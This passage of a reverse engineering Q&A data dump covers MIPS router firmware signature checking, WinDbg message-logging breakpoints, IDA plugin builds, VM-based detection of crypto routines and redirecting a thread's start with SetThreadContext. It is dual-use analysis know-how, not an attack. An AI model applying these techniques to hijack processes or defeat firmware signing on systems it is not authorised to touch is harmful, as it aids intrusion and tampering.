sig_verify &#xA;&#xA;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;0           0x0         ELF 32-bit MSB executable, MIPS, version 1&#xA;1921        0x781       LZMA compressed data, properties: 0x01, dictionary size: 16777216 bytes, uncompressed size: 16777472 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can notice it's a &lt;strong&gt;MIPS&lt;/strong&gt; executable.&#xA;I tried to run it under a MIPS envirronment (virtual machine, &lt;code&gt;qemu-system-mips&lt;/code&gt;) without any success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;qemu-system-mips -M mips -kernel ./vmlinux-2.6.18-6-qemu -initrd ./initrd.gz -hda hda.img -append &quot;root=/dev/ram console=ttyS0&quot; -nographic&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The kernel and the initrd were downloaded by &lt;a href=&quot;http://archive.debian.org/debian/dists/etch/main/installer-mips/current/images/qemu/netboot/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://archive.debian.org/debian/dists/etch/main/installer-mips/current/images/qemu/netboot/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. If someting isn't clear just let me know :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--- EDIT ---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompiled...&#xA;Anyone that could translate machine language into human-comprehensible code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wQK6M.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11538" LastEditorUserId="-1" LastEditDate="2017-04-13T12:37:20.450" LastActivityDate="2015-01-20T23:59:04.433" Title="Router firmware modification and MIPS executable under x86_64 Ubuntu [X-POST from unix.stackexchange.com]" Tags="|binary-analysis|firmware|mips|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8066" PostTypeId="2" ParentId="8028" CreationDate="2015-01-20T17:30:58.170" Score="2" Body="&lt;p&gt;It's probably obfuscated:&#xA;&lt;a href=&quot;http://www.devttys0.com/2014/02/reversing-the-wrt120n-firmware-obfuscation/&quot; rel=&quot;nofollow&quot;&gt;read more about an obfuscated firmware from WRT120N&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that you should do hardware analysis in order to know how the firmware is unpacked...&lt;/p&gt;&#xA;" OwnerUserId="11538" LastActivityDate="2015-01-20T17:30:58.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8067" PostTypeId="2" ParentId="8037" CreationDate="2015-01-20T19:23:10.370" Score="4" Body="&lt;p&gt;This might be stupid, but you say you are debugging the ARM64 binary, and yet in IDA Pro it says you are disassembling the ARMv7 binary. So you are disassembling the incorrect binary in IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, open the binary in 64 bit version of IDA Pro. It will automatically disassemble the 64 bit binary.&lt;/p&gt;&#xA;" OwnerUserId="11539" LastActivityDate="2015-01-20T19:23:10.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8068" PostTypeId="1" AcceptedAnswerId="8191" CreationDate="2015-01-20T20:26:30.417" Score="6" ViewCount="561" Body="&lt;p&gt;Everyone knows the state of IDA's documentation... There is a bit of info in idc.idc and the SDK headers, there's Chris Eagle's book (which predates quite a few advances in IDA), and there's the occasional juicy tidbit in the blogs of Ilfak, Igorsk, Daniele and the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But by and large there's mostly Google, reversing IDA.WLL, and copious experimentation. Which means that it's often much slower going than we would like, and quite often things require a lot more effort than necessary because we're unaware of some trick, twist or workaround that somebody else has already discovered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The perfect solution would be a community wiki. &lt;strong&gt;So, is there a wiki for all things IDA?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so then all serious spelunkers needs to know about it: it ought to be linked from here, from IDA's home site and major RCE gathering places...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's no wiki yet then we ought to do something about it (like badgering Ilfak).&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2015-02-09T19:54:25.187" Title="A wiki for IDA?" Tags="|ida|idapython|idapro-sdk|" AnswerCount="1" CommentCount="10" ClosedDate="2017-04-20T15:42:26.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="8069" PostTypeId="1" AcceptedAnswerId="8087" CreationDate="2015-01-20T20:42:22.757" Score="1" ViewCount="475" Body="&lt;p&gt;Let us suppose that I have a program that perform some well known cryptographic routines like AES, RSA or whatever. I would like to detect when such algorithms run, on which key material and possibly on which input and output data streams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to run the whole program inside a virtual machine and then instrument the virtual machine itself to study the behavior of the program. For example, I might implement heuristics to check whether AES S-box is computed (when you see certain bytes and some clock cycles later the corresponding bytes in S-box show up in some register, then you might have a clue that S-box is being run). Tracing down how those bytes were moved across memory before might lead me to where the encryption key is stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of doing all of this in a virtual machine is that I can make up the environment so that the program is unable to detect that I am trying to spy on him. This way I would like to avoid all the mess with protectors and whatever and just see how it behaves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there already attempts at reverse engineering programs in a similar way? By &quot;similar way&quot; I mean running the program in a virtual machine and looking how it moves data around the memory and on the registers, in order to find patterns that may help me to track down the information I am seeking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it helps, the architecture I would like to use is x86 and the practical program is the one that I described above: interception of known cryptography procedure.&lt;/p&gt;&#xA;" OwnerUserId="11541" LastActivityDate="2015-01-23T21:08:04.160" Title="Detect specific algorithms running in a virtual machine via behavior analysis" Tags="|x86|virtual-machines|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8070" PostTypeId="2" ParentId="8065" CreationDate="2015-01-20T21:07:03.043" Score="2" Body="&lt;p&gt;Interestingly, both the &lt;a href=&quot;http://www.onlinedisassembler.com/&quot; rel=&quot;nofollow&quot;&gt;online disassembler&lt;/a&gt; and &lt;a href=&quot;http://decompiler.fit.vutbr.cz/&quot; rel=&quot;nofollow&quot;&gt;retargetable decompiler&lt;/a&gt; choke on your &lt;code&gt;sig_verify&lt;/code&gt; program, and &lt;code&gt;objdump&lt;/code&gt; says it has a corrupted section header, while Ida can read it without any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a quick glance, there's only 3 interesting functions in it, that i called &lt;code&gt;main&lt;/code&gt;, &lt;code&gt;generate_hash&lt;/code&gt; and &lt;code&gt;verify_key&lt;/code&gt;. Both &lt;code&gt;generate_hash&lt;/code&gt; and &lt;code&gt;verify_key&lt;/code&gt; use various functions of the &lt;a href=&quot;https://www.gnupg.org/documentation/manuals/gcrypt/Function-and-Data-Index.html&quot; rel=&quot;nofollow&quot;&gt;gcrypt&lt;/a&gt; library (which it links dynamically). &lt;code&gt;main&lt;/code&gt; opens a file from &lt;code&gt;argv&lt;/code&gt;, uses &lt;code&gt;generate_hash&lt;/code&gt; to calculate a checksum over the file, then calls &lt;code&gt;verify_key&lt;/code&gt;. &lt;code&gt;verify_key&lt;/code&gt; uses, among some other stuff, &lt;code&gt;gcry_pk_verify&lt;/code&gt;, which verifies a public key. If &lt;code&gt;verify_key&lt;/code&gt; succeeds, &lt;code&gt;main&lt;/code&gt; truncates the last few bytes from the file (which, i assume, contain the key to verify against).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that the vendor uses some private key to sign the firmware file, and has the flash process check the file against the corresponding public key, which would make it very hard to create a valid replacement firmware. HOWEVER, i only looked at the function names and strings and didn't try to understand every byte of the functions, so i might be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if my IDA license allows me to make the disassembly public, but i'll check this and, if you're interested and it's ok with the license, upload the disassembly somewhere so you can investigate further.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-01-20T21:07:03.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8071" PostTypeId="1" CreationDate="2015-01-21T04:36:23.187" Score="1" ViewCount="347" Body="&lt;p&gt;I'm new to reverse engineering, have been using olly and x64_dbg. I've ,to a degree, successfully reverse engineered and understood functions and parts of code of a couple applications. I cannot READ Asm or spot data structures quite yet. I recently tried peeking at a disassembled code of a new PE and it's obfuscated. So it's far over my head at this point but I continued to dig in. I came across a popup dialog created/initiated by the &lt;code&gt;User32.CreateWindowExA&lt;/code&gt;  function. Due to anti debugging code I cannot place any breakpoints in the actual executable.... well certain memory locations of the exe and dlls can have breakpoints. Anyway I narrowed things down to a &lt;code&gt;DispatchMessageA&lt;/code&gt; function being called then the &lt;code&gt;CreateWindowExA&lt;/code&gt; function. I can't find out what happens between the two or find the GetMessage funct. I believe I know the message being sent but my question is, how do I find the receiving message function for the appropriate message sent out. Let's say 3 different messages can be sent out how do I find out who collects them?&lt;/p&gt;&#xA;" OwnerUserId="11544" LastEditorUserId="1413" LastEditDate="2015-01-21T04:56:17.313" LastActivityDate="2015-02-20T08:22:19.110" Title="Help Tracking Win Messages" Tags="|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8072" PostTypeId="2" ParentId="8071" CreationDate="2015-01-21T07:23:01.293" Score="2" Body="&lt;p&gt;As it stands the query is too broad &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to capture all the messages that are sent Via GetMessageX to a certain process A conditional log  breakpoint similar to this can be employed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OS xpsp3 using windbg and &lt;code&gt;Ken Johnsons&lt;/code&gt; sdbgext windbg extension&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo Result  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;finding index of GetMessage&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf USER32!NtUserGetMessage&#xA;USER32!NtUserGetMessage:&#xA;7e4191b2 b8a5110000      mov     eax,11A5h&#xA;7e4191b7 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)&#xA;7e4191bc ff12            call    dword ptr [edx]&#xA;7e4191be c21000          ret     10h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;to know how many step over is required&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf ntdll!KiFastSystemCall&#xA;ntdll!KiFastSystemCall:&#xA;7c90e510 8bd4            mov     edx,esp&#xA;7c90e512 0f34            sysenter&#xA;7c90e514 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;setting a conditional log breakpoint using index and number of step overs&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; bp ntdll!KiFastSystemCall &quot;.if(@eax == 11a5) {r $t0 = poi(@esp+8);p 2 \&quot;!usermsg @$t0;g\&quot;;} .else {gc}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;confirming the breakpoint&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; .bpcmds&#xA;bp0 0x7c90e510  &quot;.if(@eax == 11a5) {r $t0 = poi(@esp+8);p 2 \&quot;!usermsg @$t0;g\&quot;;} .else {gc}&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;executing&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;**log the voluminous spew to be  parsed later **&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax=000011a5 ebx=00000000 ecx=00000000 edx=0007fde0 esi=0007fee8 edi=01014018&#xA;eip=7c90e512 esp=0007fde0 ebp=0007fdfc iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;ntdll!KiFastSystemCall+0x2:&#xA;7c90e512 0f34            sysenter&#xA;hwnd:&#xA;Window    000a01d6&#xA;Name      C&#xA;Class     Button&#xA;WndProc   00000000&#xA;Style     WS_OVERLAPPED &#xA;ExStyle   WS_EX_NOPARENTNOTIFY WS_EX_LEFT WS_EX_LTRREADING WS_EX_RIGHTSCROLLBAR &#xA;HInstance 01000000&#xA;ParentWnd 001200e0&#xA;Id        00000088&#xA;UserData  00000000&#xA;Unicode   TRUE&#xA;ThreadId  00000be8&#xA;ProcessId 00000be0&#xA;Message: WM_PAINT&#xA;wParam: 0&#xA;lParam: 0&#xA;Time: 5bd026&#xA;pt: (1021, 413)&#xA;eax=000011a5 ebx=00000000 ecx=00000000 edx=0007fde0 esi=0007fee8 edi=01014018&#xA;eip=7c90e512 esp=0007fde0 ebp=0007fdfc iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;ntdll!KiFastSystemCall+0x2:&#xA;7c90e512 0f34            sysenter&#xA;hwnd:&#xA;Window    00080186&#xA;Name      /&#xA;Class     Button&#xA;WndProc   00000000&#xA;Style     WS_OVERLAPPED &#xA;ExStyle   WS_EX_NOPARENTNOTIFY WS_EX_LEFT WS_EX_LTRREADING WS_EX_RIGHTSCROLLBAR &#xA;HInstance 01000000&#xA;ParentWnd 001200e0&#xA;Id        0000005a&#xA;UserData  00000000&#xA;Unicode   TRUE&#xA;ThreadId  00000be8&#xA;ProcessId 00000be0&#xA;Message: WM_PAINT&#xA;wParam: 0&#xA;lParam: 0&#xA;Time: 5bd14f&#xA;pt: (1021, 413)&#xA;eax=000011a5 ebx=00000000 ecx=00000000 edx=0007fde0 esi=0007fee8 edi=01014018&#xA;eip=7c90e512 esp=0007fde0 ebp=0007fdfc iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;ntdll!KiFastSystemCall+0x2:&#xA;7c90e512 0f34            sysenter&#xA;hwnd:&#xA;Window    000a0160&#xA;Name      *&#xA;Class     Button&#xA;WndProc   00000000&#xA;Style     WS_OVERLAPPED &#xA;ExStyle   WS_EX_NOPARENTNOTIFY WS_EX_LEFT WS_EX_LTRREADING WS_EX_RIGHTSCROLLBAR &#xA;HInstance 01000000&#xA;ParentWnd 001200e0&#xA;Id        0000005b&#xA;UserData  00000000&#xA;Unicode   TRUE&#xA;ThreadId  00000be8&#xA;ProcessId 00000be0&#xA;Message: WM_PAINT&#xA;wParam: 0&#xA;lParam: 0&#xA;Time: 5bd249&#xA;pt: (1021, 413)&#xA;eax=000011a5 ebx=00000000 ecx=00000000 edx=0007fde0 esi=0007fee8 edi=01014018&#xA;eip=7c90e512 esp=0007fde0 ebp=0007fdfc iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;ntdll!KiFastSystemCall+0x2:&#xA;7c90e512 0f34            sysenter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-01-21T07:45:19.310" LastActivityDate="2015-01-21T07:45:19.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8073" PostTypeId="2" ParentId="8069" CreationDate="2015-01-21T08:35:17.407" Score="1" Body="&lt;p&gt;I recommend you taking a look to the following presentation from Recon 2012:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.recon.cx/2012/schedule/attachments/46_Joan_CryptographicFunctionIdentification.pdf&quot; rel=&quot;nofollow&quot;&gt;Cryptographic Function Identification in Obfuscated Binary Programs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm not wrong, this is exactly the same you want to do.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2015-01-21T08:35:17.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8074" PostTypeId="2" ParentId="8027" CreationDate="2015-01-21T12:53:22.347" Score="0" Body="&lt;p&gt;As it turns out-and while this doesn't exactly constitute a reliable, cross compiler, cross os, cross 32/64 bit solution, it works on my machine-they are on the stack, and if you navigate just past the location of argc on the stack you can see that the pointer to environment variables is argc*sizeof(uintptr_t) + argv, and argv is contiguous to argc naturally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can programmatically read the environment variables by continuously doing strcpy (I know it's crap api, but they &lt;em&gt;are&lt;/em&gt; null terminated). Wait until you get a null byte back and no string at all-that signifies the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not the same quality of answer I might have hoped, but for now it suffices.&lt;/p&gt;&#xA;" OwnerUserId="8394" LastActivityDate="2015-01-21T12:53:22.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8075" PostTypeId="1" CreationDate="2015-01-21T20:40:22.113" Score="6" ViewCount="981" Body="&lt;p&gt;I'm looking to find out if a firmware of a device is readable and potentially writeable. The device has a USB port and other devices by this manufacturer have had firmware updates (through USB) so it's within the realm of possibilities this is doable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How will it be possible to find out if the firmware is accessible through the USB port? If it helps the device is a &lt;a href=&quot;http://www.cloupor.com/cloupor-mini-30w-vv-vw-box-mod-for-sale&quot;&gt;Cloupor Mini&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11549" LastActivityDate="2015-08-10T08:28:58.897" Title="Work out if a firmware is dumpable/writeable through USB?" Tags="|firmware|usb|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8076" PostTypeId="2" ParentId="8069" CreationDate="2015-01-22T16:33:56.770" Score="1" Body="&lt;p&gt;A nice idea!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know of an existing solution directly matching your approach. But you might use &quot;Virtual Machine Introspection&quot; as a key term to find out about similar approaches. The 2003 paper &quot;A Virtual Machine Introspection Based Architecture for Intrusion Detection&quot; by Garfinkel and Rosenblum describes such a strategy. It is used here to perform intrusion detection - i.e. they already monitored intra-VM code behavior in 2003.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the last 11 years, the tools got smarter. One approach which seems promising to me:&#xA;Once you can access the main memory of a running VM from the outside, you can easily parse it with Volatility - i.e. reconstruct user-mode processes, their Virtual Memory etc. &#xA;However, this is mainly sufficient for static analyses only. So you could grab existing software from main memory without it having a chance to detect your acquisition tool (*). The extracted code could then be analyzed outside the VM like usual in IDA etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more tricky part would be how to dynamically record and analyze execution flows without introducing additional helper Code inside the VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) One downside of your approach is that the code in question might already behave in a hostile way since it can detect itself running in A VM. That's usually a quite simple thing to do. So the subject might not be able to see that it is being monitored from outside the VM, but even the fact that it is run inside a VM is a quite suspect thing...&lt;/p&gt;&#xA;" OwnerUserId="11559" LastActivityDate="2015-01-22T16:33:56.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8078" PostTypeId="1" AcceptedAnswerId="8079" CreationDate="2015-01-22T17:17:23.257" Score="1" ViewCount="847" Body="&lt;p&gt;I usually work with two or three IDBs open at the same time which are linked between themselves (basically the main .exe, and DLLs it loads).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, every now and then I open different files to take a look, and my &quot;recently used IDBs&quot; quickly gets filled up and the IDBs I work with disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can make IDA stick those IDBs at the top of the &quot;recently opened files&quot; so I can access them easily?&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-01-22T18:07:05.067" Title="Is there any way to make IDA permanently save recently used files in a list?" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8079" PostTypeId="2" ParentId="8078" CreationDate="2015-01-22T18:07:05.067" Score="5" Body="&lt;p&gt;Assuming you're on Windows, you could write a script that regularly restores &lt;code&gt;HKEY_CURRENT_USER\Software\Hex-Rays\IDA\History&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Linux or Mac OS, I'm sure there's something similar than can be easily restored via a simple script.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-01-22T18:07:05.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8080" PostTypeId="2" ParentId="8063" CreationDate="2015-01-22T18:51:39.697" Score="8" Body="&lt;p&gt;You can use the -D option to dd out sections based on signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to extract out the ELF parts, do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -D &quot;elf 32-bit lsb shared object&quot;:.so image.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the lowercase signature string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can specify more than one instance of -D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the binwalk wiki for more details:&#xA;&lt;a href=&quot;https://github.com/devttys0/binwalk/wiki&quot;&gt;https://github.com/devttys0/binwalk/wiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11561" LastActivityDate="2015-01-22T18:51:39.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8084" PostTypeId="1" CreationDate="2015-01-23T13:53:40.570" Score="2" ViewCount="1563" Body="&lt;p&gt;Is there a tutorial somewhere on how to make plugins work with IDA 5.0 free?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins built against the normal SDK libs don't work because the WLL of free IDA exports everything by ordinal and not by name. I wrangled with Microsoft's LIB tool to make a suitable import lib from a .def file for a few functions but now IDA says 'not IDA DLL file'...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a .DEF file or a VC++ import lib for IDA 5.0 free?&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2015-01-23T14:17:05.937" LastActivityDate="2015-01-24T09:10:48.617" Title="Compiling plugins for use with IDA 5.0 free?" Tags="|ida|ida-plugin|idapro-sdk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8085" PostTypeId="2" ParentId="8084" CreationDate="2015-01-23T19:00:57.937" Score="3" Body="&lt;p&gt;I found the reason why the plugin didn't work: the PLUGIN symbol wasn't exported from the dll (.plw). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In headers prior to version 5.1 the symbol isn't declared __declspec(dllexport), meaning it has to be exported via a .DEF file or a workaround has to be used so that the symbol definition can be made __declspec(dllexport) despite the wrong declaration in the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define PLUGIN  sCaPeGoAt_PLUGIN&#xA;#include &quot;loader.hpp&quot;             // plugin_t, PLUGIN_KEEP etc.&#xA;#undef  PLUGIN&#xA;&#xA;extern &quot;C&quot;                        &#xA;__declspec(dllexport)&#xA;plugin_t PLUGIN = &#xA;{&#xA;   IDP_INTERFACE_VERSION,&#xA;   ...&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the scapegoat soaking up the wrong declaration, VC++ accepts the __declspec(dllexport) on the definition and compiles it. Now the plugin works perfectly fine in IDA 5.0 free... Without the fix, the build stops with the following message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error C2370: 'PLUGIN' : redefinition; different storage class&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem of obtaining a decent .DEF or .LIB still remains, though. Reversing the WLL to identify the functions behind the ordinals is a bit cumbersome and slow going... There are plugins for IDA free around, so the libs must be out there somewhere (unless they were got under a gag agreement).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: for VC++ there's a much easier way to accomplish the same thing, without evil macro trickery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#pragma comment (linker, &quot;/export:PLUGIN=_PLUGIN&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or simply&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#pragma comment (linker, &quot;/export:_PLUGIN&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since the leading underscore seems to get stripped automatically.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2015-01-24T09:10:48.617" LastActivityDate="2015-01-24T09:10:48.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8086" PostTypeId="1" CreationDate="2015-01-23T20:13:19.470" Score="2" ViewCount="2615" Body="&lt;p&gt;I have the following assembly lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; PUSH 0&#xA; PUSH 4                                   ; CreationFlags = CREATE_SUSPENDED&#xA; PUSH 0&#xA; PUSH program.0040163B                    ; start address of thread &#xA; PUSH 0&#xA; PUSH 0&#xA; CALL DWORD PTR DS:[402428]               ; kernel32.CreateThread &#xA; MOV DWORD PTR DS:[4023F8], EAX           ; store handle to created thread to [4023F8]&#xA; ....&#xA; ....&#xA; LEA ESI, DWORD PTR DS:[402000]&#xA; PUSH ESI                                 ; [402000] will be the location where we store the context of the thread&#xA; PUSH DWORD PTR DS:[4023F8]               ; handle to created thread&#xA; CALL DWORD PTR DS:[402424]               ; kernel32.GetThreadContext&#xA; MOV [ESI+B0], program.004010E9           ; [ESI+B0] = [4020B0] = 0040163B (starting address of the created thread will be replaced by 004010E9, I guess)&#xA; PUSH ESI                                 ; ESI points to 402000 where the thread context is stored, but now with a modified starting address of the thread&#xA; PUSH DWORD PTR DS:[4023F8]               ; handle to thread&#xA; CALL DWORD PTR DS:[402418]               ; kernel32.SetThreadContext&#xA; PUSH DWORD PTR DS:[4023F8]&#xA; CALL DWORD PTR DS:[402410]               ; kernel32.ResumeThread&#xA; ....&#xA; ....&#xA; RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, to sum up:&#xA;We create a thread in suspended state. Its starting address is 0040163B. &#xA;Then we get the thread context and store it into 402000. By adding the offset of B0 to &#xA;402000, we reach the place where the starting address of the thread is stored in the context structure. &#xA;We change it to 004010E9 and set the modified context using SetThreadContext.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question would be:&#xA;When I reach/call ResumeThread(), then will be 0040163B the starting address of the the thread, or 004010E9 ?&#xA;Because of the combination of Get-and SetThreadContext, it would make sense that the starting address of my thread must be 004010E9, but I wanted to be sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;In short my question is&#xA;(1) if I create a suspended thread&#xA;(2) Change its entry-point via SetThreadContext  &#xA;(3) Resume the suspended thread&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will the thread begin execution at the original entry-point as specified by &lt;code&gt;CreateThread&lt;/code&gt; or at the newly modified one ?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="1413" LastEditDate="2015-01-24T05:50:48.463" LastActivityDate="2015-01-24T05:50:48.463" Title="Changing start address of thread using combination of Get- and SetThreadContext?" Tags="|assembly|thread|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8087" PostTypeId="2" ParentId="8069" CreationDate="2015-01-23T21:08:04.160" Score="2" Body="&lt;p&gt;As Guntram mentioned, the &lt;a href=&quot;https://github.com/moyix/panda&quot; rel=&quot;nofollow&quot;&gt;PANDA project&lt;/a&gt; is built to make this kind of thing possible. Essentially, it adds instrumentation points to QEMU so that you can build plugins that perform analysis on a whole system as it executes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One challenge is that the kinds of analyses you want to do are extremely computationally intensive, to the point where it's not really feasible to perform them while the system is actually running. To solve this in PANDA, we have &lt;em&gt;record and replay&lt;/em&gt;. Essentially, this lets you make a recording of a whole-system execution and then replay it later with instrumentation enabled. Recording itself incurs only a small overhead, and arbitrarily expensive analyses can then be performed on the replay without altering the execution. This basic idea is explained in more detail in a paper by Chow et al., &lt;a href=&quot;http://cs.stanford.edu/people/jchow/papers/decoupled-usenix2008.pdf&quot; rel=&quot;nofollow&quot;&gt;Decoupling dynamic program analysis from execution in virtual environments&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently we have two papers that are relevant to the kind of RE you're looking at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cc.gatech.edu/~brendan/tzb_author.pdf&quot; rel=&quot;nofollow&quot;&gt;Tappan Zee (North) Bridge&lt;/a&gt;: This is probably closest to the kind of thing you're talking about. Essentially, it involves tracking every memory access in the system and then splitting them up according to address space, program counter, and calling context. The resulting streams of data can then be mined for interesting artifacts (encryption keys, URLs, etc.), which tells you where various algorithms and functionality are located in the 